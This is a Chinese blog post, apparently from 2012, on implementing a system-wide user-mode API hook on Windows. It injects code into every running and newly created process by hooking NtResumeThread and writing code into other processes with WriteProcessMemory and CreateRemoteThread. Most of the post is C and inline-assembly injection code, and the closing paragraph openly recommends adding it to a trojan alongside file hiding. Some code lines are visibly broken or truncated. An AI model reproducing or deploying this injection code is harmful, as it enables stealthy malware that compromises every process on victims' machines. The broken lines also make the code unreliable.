API攔截——實現(xiàn)Ring3全局HOOK

guoliyan1 2012-04-10

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API攔截——實現(xiàn)Ring3全局HOOK

首先來解釋一下這次的目標(biāo)。由于windows的copy-on-write機制（Ring0下可以用CR0寄存器關(guān)掉它），Ring3下的HOOK只對當(dāng)前進程有效，其他進程的API還是正常的。這就是說我們必須枚舉進程，然后對每個Ring3進程執(zhí)行一遍HOOK操作。

但是，系統(tǒng)中總有新進程產(chǎn)生，對于這些新進程我們怎么處理呢？最容易想到的就是設(shè)置一個TIMER，每隔一段時間就枚舉一遍進程然后把新的掛鉤。但仔細一想就知道不行，TEMER過快嚴(yán)重影響系統(tǒng)效率，慢了又起不到作用，況且windows不是一個實時操作系統(tǒng)，沒人能保證到時間TEMER就被激活。如果我們能監(jiān)控進程創(chuàng)建，并在他們真正運行之前就執(zhí)行掛鉤操作，就可以完美的解決問題。
但是如何做到這一點呢？我們知道Ring3的進程都有一個“父進程”也就是說新進程都是由老進程創(chuàng)建的（驅(qū)動很少創(chuàng)建進程）。知道這一點就好辦了，我們要做的只是截獲進程創(chuàng)建。你肯定會說“這么簡單，HOOK NtCreateProcess就可以了！”但是這不是最簡單的做法。為什么這么說呢，首先在NtCreateProcess函數(shù)被調(diào)用時進程并沒有真正被創(chuàng)建，我們無法執(zhí)行HOOK操作，而當(dāng)NtCreateProcess返回時，進程又已經(jīng)開始運行，HOOK時存在線程同步的問題（我用OD在NtCreateProcess設(shè)下INT3斷點，卻攔不到，不只是為什么？）。
所以我選的函數(shù)是NtResumeThread。我們知道，當(dāng)新進程被創(chuàng)建時，OS會為其創(chuàng)建一個住線程，而在這之后會調(diào)用NtResumeThread時期開始運行，這時初始化完畢，DLL都已經(jīng)被載入，但進程卻沒有開始運行這時我們最好的機會（HAHA，天助我也HAHAHA…）。
NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
思路是這樣但是怎么實現(xiàn)呢？來看一下函數(shù)的定義：
我們關(guān)心的是第一個參數(shù)，它存儲的是新進程主線程的句柄，我們可以通過調(diào)用ThreadInformationClass=0，ThreadInformationLength=28的NtQueryInformationThread函數(shù)來獲得該縣城所屬進程的PID，然后只要HOOK它就可以了。
話雖如此，可是如果把HOOK的代碼都放到遠程去未免太麻煩了。開始我想的是用遠程進程調(diào)用CreateRemoteThread來回調(diào)HOOK進程。但仔細想想就會發(fā)現(xiàn)，我們在本地HOOK時有足夠的權(quán)限，可是如果遠程進程是GUEST權(quán)限的呢？回調(diào)時由于權(quán)限不夠就會出錯。翻了翻《windows核心編程》后恍然大悟：可以使用windows的事件對象來實現(xiàn)。用到的API有：OpenEvent，CreateEvent，SetEvent，ResetEvent。在HOOK每一個進程的時候，用CreateEvent創(chuàng)建一個不可繼承、自動重置的Event對象，然后創(chuàng)建一個線程用WaitForSingleObject函數(shù)等待改Event。當(dāng)攔截到新進程創(chuàng)建時，遠程線程調(diào)用SetEvent來激活Event，然后同樣調(diào)用WaitForSingleObject函數(shù)等待。這時本地的WaitForSingleObject會返回，然后再進行相關(guān)的處理，然后調(diào)用SetEvent來讓遠程hook函數(shù)繼續(xù)運行。這樣有個問題就是本題怎樣知道新進程PID？我的解決辦法是遠程調(diào)用SetEvent前先把PID寫在HOOK函數(shù)開頭的特定偏移位置，然后本地用ReadProcessMemory來讀取。限于篇幅講得不太具體，如果不懂最好去看一看《windows核心編程》。
好了，理論就講道這里，來看看代碼，GO?。m然是在去年的5期文章的基礎(chǔ)上改的，不過改動較大，所以關(guān)鍵代碼已提上來了。）
首先是hook函數(shù)，主要功能是對指定進程的指定API進行hook操作
int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE ObjectProcessHandle)
{
DWORD dw, NamedApiAddress,NewFunc;//變量初始化
MEMORY_BASIC_INFORMATION mbi;
static EventInfo myEventInfo;
static Num=0x676e696b;

NamedApiAddress = (DWORD)GetProcAddress(pDllInfo->hModule, ApiName);//目標(biāo)api地址，每個進程的api地址都是一樣的，只要找本進程的就可以了。
if(NamedApiAddress == NULL)
{
printf(“Error:GetProcAddress in hook_api”);//錯誤處理
return 0;
}

if(!VirtualQueryEx(ObjectProcessHandle,(void*)NamedApiAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//獲取目標(biāo)api所在內(nèi)存信息
{
printf(“Error:VirtualQueryEx in hook_api”);
return 0;
}

if(!VirtualProtectEx(ObjectProcessHandle,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw))//分配寫和執(zhí)行權(quán)限，因為我們要對目標(biāo)API開頭進行寫操作
{
printf(“Error:VirtualProtectEx in hook_api”);
return 0;
}
LPVOID WriteAddress=VirtualAllocEx(ObjectProcessHandle,0,1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配內(nèi)存，寫入hook函數(shù)

//計算備份函數(shù)COPY的位置
NewFunc = NamedApiAddress – (DWORD)pDllInfo->modinfo.lpBaseOfDll + (DWORD)pDllInfo->lpNewBaseOfDll;
//修改原函數(shù)入口處內(nèi)容
if(strcmp(ApiName,”NtResumeThread”)==0)//如果是hook NtResumeThread函數(shù)要做一些處理
{
DWORD my_CreateEventA=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”CreateEventA”);
HANDLE EventFar;
__asm//這里不用匯編vc總說類型不對，偷個懶^_^
{
pushad
push 00000000h
push Num
push 0x676e696b
push esp//構(gòu)造Event名
push 0
push 0
push 0
call my_CreateEventA
mov EventFar,eax
add esp,12
popad
}
*(PDWORD)((DWORD)FarStartUp+9)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”O(jiān)penEventA”);//遠程函數(shù)的API地址都是動態(tài)寫入的。這里說一句，以前是寫入遠程后用WriteProcessMemory來改，后來想到這樣太慢（轉(zhuǎn)到Ring0要1000個CPU時間的哦）于是改在本地完成，但我們對代碼段進行了寫操作，默認(rèn)是不允許的，所以要用PE修改工具來給.text段加上可寫屬性
LPVOID StartUpAddr=VirtualAllocEx(ObjectProcessHandle,0,500,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配內(nèi)存，寫入StartUp函數(shù)，因為我們用Event來解決，所以要在遠程打開該Event對象
WriteProcessMemory(ObjectProcessHandle,StartUpAddr,(LPVOID)FarStartUp,500,0);//寫入函數(shù)
printf(“%x\n”,(DWORD)StartUpAddr);//調(diào)試信息
HANDLEFarThread=CreateRemoteThread(ObjectProcessHandle,0,0, (PTHREAD_START_ROUTINE)StartUpAddr,(PVOID)Num,0,0);//創(chuàng)建遠程線程
WaitForSingleObject(FarThread,-1);//等待遠程初始化完畢
CloseHandle(FarThread);
DWORD ReadBuf;
ReadProcessMemory(ObjectProcessHandle,(LPVOID)((DWORD)StartUpAddr+21),&ReadBuf,4,0);//讀出遠程的Event句柄數(shù)值，后面寫入HOOK函數(shù)
VirtualFreeEx(ObjectProcessHandle,StartUpAddr,500,MEM_RELEASE);//釋放內(nèi)存
*(PDWORD)(HookProc+WRITEBASE+7)=ReadBuf;//寫入句柄
myEventInfo.EventFar=EventFar;
myEventInfo.ObjectProcessHandle=ObjectProcessHandle;
myEventInfo.WriteAddress=(DWORD)WriteAddress;//線程參數(shù)
CreateThread(0,0,(unsigned long (__stdcall *)(void *))my_EventProcess_Thread,&myEventInfo,0,0);//創(chuàng)建本地等待線程
Num++;//每個進程用不同的Event，所以名稱不一樣
}
*(PDWORD)(HookProc+WRITEBASE)=NewFunc;
*(PDWORD)(HookProc+WRITEBASE+14)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”GetCurrentProcessId”);
*(PDWORD)(HookProc+WRITEBASE+21)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”SetEvent”);
*(PDWORD)(HookProc+WRITEBASE+28)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”WaitForSingleObject”);
*(PDWORD)(HookProc+WRITEBASE+35)=(DWORD)GetProcAddress(GetModuleHandle(“ntdll.dll”),”NtQueryInformationThread”);
*(PDWORD)(HookProc+WRITEBASE+42)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”ResetEvent”);//初始化HOOK函數(shù)，寫入API地址

WriteProcessMemory(ObjectProcessHandle,WriteAddress,(void *)HookProc,1000,0);//寫入HOOK函數(shù)
*(PDWORD)(&HookCode[0]+1)=(DWORD)WriteAddress;
WriteProcessMemory(ObjectProcessHandle,(LPVOID)NamedApiAddress,&HookCode,7,0);//修改目標(biāo)API首字節(jié)，使其跳轉(zhuǎn)到我們的HOOK函數(shù)
printf(“func:%x\n”,WriteAddress);//調(diào)試信息
return 1;
}
接下來是遠程的初始化函數(shù),用來打開Event
void FarStartUp(int Num){//Event名稱的后半段，我創(chuàng)建的Event名稱都是形如”kingXXXX”
int myOpenEvent=0×10020000;//API函數(shù)地址，動態(tài)寫入，這條代碼編譯后是類似于這樣的匯編碼：mov [ebp+XX],XXXX，修改時只要把XXXX換成API地址就可以了
__asm call GetMyAddr;//這個是用來取得本函數(shù)的地址用的，不知道的話可以上網(wǎng)查查
DWORD myEventHandle=0×00220000;//本地從這里讀出句柄代碼，HOOK函數(shù)中的代碼類似
DWORD FuncAddr;
__asm
{
jmp run//正式運行時跳過
GetMyAddr:
pop eax
mov FuncAddr,eax
push eax
ret
run:
push 00000000
push Num
push 0x676e696b
push esp
push 0
push EVENT_ALL_ACCESS
call myOpenEvent//構(gòu)造字符串，并打開句柄
mov myEventHandle,eax
}
*(PDWORD)(FuncAddr+3)=myEventHandle;//往開頭寫入
return;
}
這時上面說到過的等待線程，每HOOK一個進程就有一個對應(yīng)的這個線程，這里本來應(yīng)該加一個垃圾回收機制，即當(dāng)本線程對應(yīng)的進程已經(jīng)不存在了的時候，線程自我銷毀。不過還沒來得及寫^_^
void __stdcall my_EventProcess_Thread(PVOID InEventInfo)
{
EventInfo myEventInfo;
PEventInfo Info=(PEventInfo)InEventInfo;
myEventInfo.EventFar=Info->EventFar;//保存句柄和進程信息
myEventInfo.ObjectProcessHandle=Info->ObjectProcessHandle;
myEventInfo.WriteAddress=Info->WriteAddress;//這個是HOOK函數(shù)句柄
while(true)//循環(huán)等待
{
WaitForSingleObject(myEventInfo.EventFar,-1);
DWORD ReadBuf=0;//當(dāng)對應(yīng)進程創(chuàng)建后WaitForSingleObject返回，執(zhí)行到這里
ReadProcessMemory(myEventInfo.ObjectProcessHandle,(LPVOID)(myEventInfo.WriteAddress+67),&ReadBuf,4,0);//從遠程讀出新進程的PID，在HOOK函數(shù)調(diào)用SetEvent之前會在遠程寫入。
HANDLE ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,ReadBuf);//打開目標(biāo)進程
HookProcess(ObjectProcessHandle);//執(zhí)行HOOK操作，本來應(yīng)改檢查一下該進程是否已經(jīng)被HOOK，還沒來得及寫
SetEvent(myEventInfo.EventFar);//恢復(fù)遠程Hook函數(shù)運行
ResetEvent(myEventInfo.EventFar);//本來是自動重置的Event，不過為了保險在重置一下
}
return;
}
下面是精華了哦，重點仔細看啊。
DWORD __stdcall Hook_NtResumeThread(
HANDLE ThreadHandle,
PULONG PreviousSuspendCount OPTIONAL)
{

int OldNtResumeThread;//原NtQueryDirectoryFile函數(shù)
int EventHandle; //Event句柄，由FarStartUp函數(shù)打開
int my_GetCurrentProcessId;
int my_SetEnent;
int my_WaitForSingleObject;
int my_NtQueryInformationThread;//存放個API的指的變量
int my_ResetEvent;
__asm
{
mov OldNtResumeThread,00112244h
mov EventHandle,00225588h
mov my_GetCurrentProcessId,22447799h
mov my_SetEnent,55662244h
mov my_WaitForSingleObject,55889966h
mov my_NtQueryInformationThread,77554411h
mov my_ResetEvent,55661188h//hook時寫入
pushad//保護堆棧
}
__asm call GetAddr;//同F(xiàn)arStartUp函數(shù)
int FarRead;
__asm mov FarRead,22550011h;
DWORD myAddr;
__asm
{
jmp start
GetAddr:
pop eax
mov myAddr,eax
push eax
ret
start:
}
DWORD myStatus;//存儲返回變量
BYTE SystemInfo[60];//存放NtQueryInformationThread返回信息的緩沖
int infoaddr=(DWORD)&SystemInfo;//緩沖地址
int CurrentProcess;
__asm
{
push 0
push 28//這里必須是28，則函數(shù)不執(zhí)行，這個值是我從10到100瓊琚出來的，辛苦啊555。。。
push infoaddr
push 0
push ThreadHandle
call my_NtQueryInformationThread//調(diào)用NtQueryInformationThread獲得線程所屬進程的PID
mov myStatus,eax
}
DWORD *)(SystemInfo+8);
__asm
{
call my_GetCurrentProcessId//獲得本進程PID
mov CurrentProcess,eax
}
if(id==(DWORD)CurrentProcess)//如果是對當(dāng)前進程操作就直接返回，免得傳回本地浪費時間降低效率
{
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread
mov myStatus,eax
popad//對應(yīng)開頭的pushad，用來保護堆棧，下同
}
return myStatus;
}
if(myStatus==0)//如果NtQueryInformationThread執(zhí)行不成功就直接返回，漏hook總比程序死掉好，嘿嘿
{
*(PDWORD)(myAddr+3)=id;//把目標(biāo)PID寫道函數(shù)開頭
__asm
{
push EventHandle
call my_SetEnent//恢復(fù)本地對應(yīng)線程運行
push -1
push EventHandle
call my_WaitForSingleObject//等待本地HOOK操作完成
push EventHandle
call my_ResetEvent
}
}
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread//調(diào)用原NtResumeThread函數(shù)，到這里，新進程正式開始運行
mov myStatus,eax
popad//保護堆棧
}
return myStatus;//這個是用來擺平vc++編譯器的，沒實際意義^_^
}
小結(jié)：
最后來總結(jié)一下思路把，程序分為本地（HOOK程序）和遠程（被HOOK程序）。
最近Ring0的木馬大行其道，不過Ring0的東西寫起來太費時搞不好就BSOD，光是弄DDK就花了我一個禮拜，555…所以我們的Ring3HOOK還是很有市場的，快加到你的愛馬里吧，只要在開頭加一個枚舉進程，所有的Ring3進程就統(tǒng)統(tǒng)地被掛上了，再配合以前的隱藏文件……嘿嘿